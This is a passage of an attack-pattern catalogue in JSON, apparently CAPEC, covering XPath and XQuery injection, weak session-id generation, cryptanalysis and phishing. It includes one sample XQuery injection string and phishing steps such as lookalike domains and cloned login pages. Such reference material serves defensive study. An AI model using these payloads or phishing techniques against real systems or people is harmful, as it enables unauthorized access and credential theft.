"url": "http://cwe.mitre.org/data/definitions/20.html",
"external_id": "CWE-20"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/713.html",
"external_id": "CWE-713"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/707.html",
"external_id": "CWE-707"
},
{
"source_name": "WASC",
"description": "XPath Injection",
"url": "http://projects.webappsec.org/XPath-Injection",
"external_id": "39"
},
{
"source_name": "OWASP Attacks",
"description": "Blind XPath Injection",
"url": "https://owasp.org/www-community/attacks/Blind_XPath_Injection"
},
{
"source_name": "OWASP Attacks",
"description": "XPATH Injection",
"url": "https://owasp.org/www-community/attacks/XPATH_Injection"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Web Security Testing Guide, The Open Web Application Security Project (OWASP)",
"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection.html",
"external_id": "REF-611"
}
],
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"x_capec_typical_severity": "High",
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"XPath queries used to retrieve information stored in XML documents",
"User-controllable input not properly sanitized before being used as part of XPath queries"
],
"x_capec_skills_required": {
"Low": "XPath Injection shares the same basic premises with SQL Injection. An attacker must have knowledge of XPath syntax and constructs in order to successfully leverage XPath Injection"
},
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_consequences": {
"Confidentiality": [
"Gain Privileges",
"Read Data"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
]
},
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"Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass."
],
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"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"id": "attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5",
"name": "XQuery Injection",
"description": "This attack utilizes XQuery to probe and attack server systems; in a similar manner that SQL Injection allows an attacker to exploit SQL calls to RDBMS, XQuery Injection uses improperly validated data that is passed to XQuery commands to traverse and execute commands that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources.",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/84.html",
"external_id": "CAPEC-84"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/74.html",
"external_id": "CWE-74"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/713.html",
"external_id": "CWE-713"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/707.html",
"external_id": "CWE-707"
},
{
"source_name": "WASC",
"description": "XQuery Injection",
"url": "http://projects.webappsec.org/XQuery-Injection",
"external_id": "46"
}
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "Very High",
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"The XQL must execute unvalidated data"
],
"x_capec_skills_required": {
"Low": "Basic understanding of XQuery"
},
"x_capec_consequences": {
"Integrity": [
"Modify Data",
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
"Confidentiality": [
"Read Data",
"Gain Privileges",
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Availability": [
"Execute Unauthorized Commands (Run Arbitrary Code)"
]
},
"x_capec_abstraction": "Detailed",
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"\n <xhtml:p>An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">doc(accounts.xml)//user[Name='*']</xhtml:div>\n <xhtml:p>The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.</xhtml:p>\n "
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Survey the application for user-controllable inputs: </b>Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</td></tr><tr><td>Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</td></tr><tr><td>Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Determine user-controllable input susceptible to injection: </b>Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to XQL injection, attempt to inject characters that have special meaning in XQL. The goal is to create an XQL query with an invalid syntax.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use web browser to inject input through text fields or through HTTP GET parameters.</td></tr><tr><td>Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.</td></tr><tr><td>Use XML files to inject input.</td></tr><tr><td>Use network-level packet injection tools such as netcat to inject input</td></tr><tr><td>Use modified client (modified by reverse engineering) to inject input.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Information Disclosure: </b>The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to inappropriate disclosure of information.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload. The payload aims to get information on the structure of the underlying XML database and/or the content in it.</td></tr></tbody></table><li> <p> <b>Manipulate the data in the XML database: </b>The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to modification of application data.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload.. The payload tries to insert or replace data in the XML database.</td></tr></tbody></table></ol></div>",
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"x_capec_version": "3.4",
"type": "attack-pattern"
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},
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"external_id": "CWE-294"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/724.html",
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},
{
"source_name": "ATTACK",
"description": "Man in the Browser",
"url": "https://attack.mitre.org/wiki/Technique/T1185",
"external_id": "T1185"
},
{
"source_name": "OWASP Attacks",
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},
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],
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"A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware. This library is used in generation of user session ids used by the application. If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library. An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it). The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable. An attacker then leverages this weakness to guess a session id of another user to perform a horizontal elevation of privilege escalation and gain access to another user's account."
],
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"description": "Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).",
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{
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"The target software utilizes some sort of cryptographic algorithm.",
"An underlying weaknesses exists either in the cryptographic algorithm used or in the way that it was applied to a particular chunk of plaintext.",
"The encryption algorithm is known to the attacker.",
"An attacker has access to the ciphertext."
],
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"High": "Cryptanalysis generally requires a very significant level of understanding of mathematics and computation."
},
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"Computing resource requirements will vary based on the complexity of a given cryptanalysis technique. Access to the encryption/decryption routines of the algorithm is also required."
],
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"Read Data (In most cases, if cryptanalysis is successful at all, an adversary will not be able to decrypt the entire message, but instead will only be able to deduce some information about the plaintext. However, that may be sufficient for an adversary, depending on the context of the attack.)"
]
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"A very easy to understand example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed mono-alphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet. This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position. While mono-alphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper. Frequency analysis uses the fact that natural language is not random and mono-alphabetic substitution does not hide the statistical properties of the natural language. So if the letter \"E\" in an English language occurs with a certain known frequency (about 12.7%), whatever \"E\" was substituted with to get to the ciphertext, will occur with the similar frequency. Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext. Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm). This example is inapplicable to modern cryptographic ciphers but is here to illustrate a rudimentary example of cryptanalysis."
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"name": "Phishing",
"description": "Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or \"fishing\" for information.",
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"url": "https://attack.mitre.org/wiki/Technique/T1566",
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"An attacker needs to have a way to initiate contact with the victim. Typically that will happen through e-mail.",
"An attacker needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their \"hooks\" to many potential victims.",
"An attacker needs to have a sufficiently compelling call to action to prompt the user to take action.",
"The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity."
],
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},
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],
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"Gain Privileges",
"Read Data"
],
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"Gain Privileges"
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"The target gets an official looking e-mail from their bank stating that their account has been temporarily locked due to suspected unauthorized activity and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An attacker has just collected the target's online banking information which can now be used by the attacker to log into the target's bank account and transfer money to a bank account of the attackers' choice."
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Obtain domain name and certificate to spoof legitimate site: </b>This optional step can be used to help the attacker impersonate the legitimate site more convincingly. The attacker can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)</td></tr><tr><td>Optionally obtain a legitimate SSL certificate for the new domain name.</td></tr></tbody></table><li> <p> <b>Explore legitimate website and create duplicate: </b>An attacker creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use spidering software to get copy of web pages on legitimate site.</td></tr><tr><td>Manually save copies of required web pages from legitimate site.</td></tr><tr><td>Create new web pages that have the legitimate site's look and feel, but contain completely new content.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Convince user to enter sensitive information on attacker's site.: </b>An attacker sends an e-mail to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to attacker's website) and log in. The key is to get the victim to believe that the e-mail is coming from a legitimate entity with which the victim does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.</td></tr><tr><td>Place phishing link in post to online forum.</td></tr></tbody></table><li> <p> <b>Use stolen credentials to log into legitimate site: </b>Once the attacker captures some sensitive information through phishing (login credentials, credit card information, etc.) the attacker can leverage this information. For instance, the attacker can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Log in to the legitimate site using another user's supplied credentials</td></tr></tbody></table></ol></div>",
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